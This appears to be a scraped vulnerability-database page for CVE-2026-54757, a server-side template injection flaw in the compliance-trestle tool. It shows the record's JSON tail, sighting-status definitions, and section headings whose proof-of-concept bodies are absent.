          "name": "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10"
        },
        {
          "name": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
        }
      ],
      "source": {
        "advisory": "GHSA-jw39-3688-r4rx",
        "discovery": "UNKNOWN"
      },
      "title": "Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54757",
    "datePublished": "2026-08-25T23:02:12.422Z",
    "dateReserved": "2026-06-15T23:12:41.965Z",
    "dateUpdated": "2026-08-26T12:21:23.031Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-JW39-3688-R4RX

Impact

Workarounds

Attack Path (Validation Evidence)

Path A: via {% md_clean_include %} tag

Path B: via {% mdsection_include %} tag

Taint Flow (Validation Evidence)

Proof of Concept

Setup

Execution

Observed Output

Expected Result

Affected Component

Fix Recommendation

Comprehensive Fix Strategy

Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

CVE-2026-54757 (GCVE-0-2026-54757)

Tags

Sightings

Nomenclature

Path A: via `{% md_clean_include %}` tag

Path B: via `{% mdsection_include %}` tag